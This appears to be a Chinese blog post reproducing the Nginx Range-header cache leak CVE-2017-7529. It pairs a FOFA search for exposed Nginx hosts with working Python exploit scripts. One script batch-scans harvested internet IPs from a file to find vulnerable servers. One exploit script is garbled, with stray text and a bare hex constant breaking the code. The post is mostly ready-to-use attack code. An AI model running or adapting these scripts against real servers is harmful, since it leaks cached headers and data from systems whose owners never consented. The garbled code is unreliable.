0x07 Nginx越界读取缓存漏洞 CVE-2017-7529 复现

参考:

一、漏洞描述:

在Nginx的反向代理配置中,静态文件缓存包括"文件头"、"HTTP返回包头"和"HTTP返回包体"。当请求包含Range头时,Nginx会基于指定的start和end位置返回数据。若请求中使用负值,如(-600, -9223372036854774591),可能会导致读取到缓存文件中"HTTP返回包体"之前的部分,即"文件头"和"HTTP返回包头"等内容。

影响版本:

Nginx 0.5.6 - 1.13.2

二、fofa 搜索

复制代码
nginx && port="80"

我这里写了个脚本将ip保存下来,搜索ip脚本的编写教程:Python教程:如何用Python编写FOFA爬虫获取信息?_fofa python-CSDN博客

三、漏洞复现

漏洞poc

python 复制代码
#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)

我根据poc重写了脚本,读取本地的ip.txt文件进行验证漏洞

python 复制代码
#!/usr/bin/env python
import requests

def check_vulnerability(url):
    """
    检查给定的URL是否存在漏洞,根据响应内容进行判断。

    参数:
        url (str): 需要检查漏洞的URL。

    返回:
        bool: 如果存在漏洞返回True,否则返回False。
    """
    headers = {
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
    }
    offset = 605  # 调整字节范围的偏移量
    try:
        # 发起初始请求以获取响应内容长度
        response = requests.get(url, headers=headers, timeout=10)
        file_len = len(response.content)
        n = file_len + offset

        # 设置Range头部以请求特定的字节范围
        headers['Range'] = "bytes=-%d,-%d" % (n, 0x8000000000000000 - n)
        r = requests.get(url, headers=headers, timeout=10)

        # 检查响应是否指示存在漏洞(例如,状态码206且内容非空)
        if r.status_code == 206 and r.content:
            return True
    except requests.RequestException as e:
        # 静默处理请求异常
        pass
        # print(f"请求错误: {e}")
    return False

def main():
    """
    主函数,从文件中读取URL并检查每个URL是否存在漏洞。
    """
    # 打开包含URL的文件
    with open('ip.txt', 'r') as file:
        urls = [line.strip() for line in file]

    # 检查每个URL是否存在漏洞
    for url in urls:
        # print(f"正在验证的URL: {url}")
        if check_vulnerability(url):
            print(f"验证成功的URL: {url}")

if __name__ == "__main__":
    main()

四、利用漏洞

poc

python 复制代码
import requests
import urllib3

def cve20177529():
    try:
        # 构造请求头
        headers = {
            'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36"
        }
        url = 'http://127.0.0.1:8080/'

        # 获取正常响应的返回长度

        # verify=False防止ssl证书校验,allow_redirects=False,防止跳转导致误报的出现
        r1 = requests.get(url, headers=headers, verify=False, allow_redirects=False)
        url_len = len(r1.content)

        # 将数据长度加长,大于返回的正常长度

        addnum = 320
        final_len = url_len + addnum

        # 构造Range请求头,并加进headers中

        # headers['Range'] = "bytes=-%d参考资料,-%d" % (final_len, 0x8000000000000000-final_len)
0x8000000000000000
        headers = {
            'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36",
            'Range': "bytes=-%d,-%d" % (final_len, 0x8000000000000000 - final_len)
        }

        # 用构造的新的headers发送请求包,并输出结果

        r2 = requests.get(url, headers=headers, verify=False, allow_redirects=False)
        text = r2.text
        code = r2.status_code
        print(code)#打印状态码
        print(text)#打印响应

    except Exception as result:
        print(result)


if __name__ == "__main__":
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    cve20177529()

我用这个poc遇到目标进行302重定向没有获取到目标信息,然后我又改了一下

python 复制代码
import requests
import urllib3

def cve20177529():
    """
    检查特定URL是否存在CVE-2017-7529漏洞。
    """
    try:
        # 构造请求头,模拟浏览器访问
        headers = {
            'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36"
        }
        url = 'http://xxxx'  # 目标URL

        # 发起初始请求以获取响应内容长度
        r1 = requests.get(url, headers=headers, verify=False, allow_redirects=True)
        url_len = len(r1.content)

        # 设置范围增量
        addnum = 320
        final_len = url_len + addnum

        # 构造带有Range头部的请求
        headers['Range'] = "bytes=-%d,-%d" % (final_len, 0x8000000000000000 - final_len)

        # 发送带有Range头部的请求
        r2 = requests.get(url, headers=headers, verify=False, allow_redirects=True)
        text = r2.text
        code = r2.status_code

        # 输出响应状态码和内容
        print(f"Status Code: {code}")
        print("Response Body:")
        print(text)

    except Exception as e:
        # 捕捉并输出异常信息
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    # 禁用SSL警告
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    # 调用检查函数
    cve20177529()

状态码 206 表示"部分内容"(Partial Content),通常是在服务器处理了部分范围请求时返回的。

免责声明

欢迎访问我的博客。以下内容仅供教育和信息用途:

  1. 合法性:我不支持或鼓励非法活动。请确保遵守法律法规。
  2. 信息准确性:尽管我尽力提供准确的信息,但不保证其完全准确或适用。使用前请自行验证。
  3. 风险提示:技术使用可能带来风险,如系统损坏或数据丢失。请谨慎使用,并自行承担风险。
  4. 责任限制:我对使用博客内容产生的任何损害不承担责任。
  5. 第三方链接:博客中的链接仅为方便用户,内容不由我负责。

使用本博客即表示您同意以上条款。如果有疑问,请联系我。

相关推荐
小七-七牛开发者9 天前
TokenPilot:让 LLM Agent 长会话成本降 60%+ 的上下文管理
缓存·agent·token·context·上下文·推理成本
ofoxcoding16 天前
在AI API聚合平台配置DeepSeek V3.2提示词缓存实战:快速接入与成本优化指南
人工智能·spring·缓存·ai
NeilYuen17 天前
gRPC结合FAISS构建AI助手语义缓存模块(一):设计
人工智能·缓存·faiss
taocarts_bidfans17 天前
反向海淘跨境缓存架构优化:taocarts Redis分层缓存实战技术
redis·缓存·架构·反向海淘·taocarts
退休倒计时17 天前
【每日一题】LeetCode 146. LRU 缓存 TypeScript
算法·leetcode·缓存·typescript
炘爚17 天前
Linux——Redis
数据库·redis·缓存
小挪号底迪滴17 天前
Redis 和 MySQL 数据不一致怎么办?缓存更新策略实战
redis·mysql·缓存
闪电悠米17 天前
黑马点评-Redis ZSet-实现关注 Feed 流
服务器·网络·数据库·redis·缓存·junit·lua
Saniffer_SH18 天前
【高清视频】Gen6 服务器还没到,Gen6 SSD 怎么测?Emily 现场演示三种测试环境
人工智能·驱动开发·测试工具·缓存·fpga开发·计算机外设·压力测试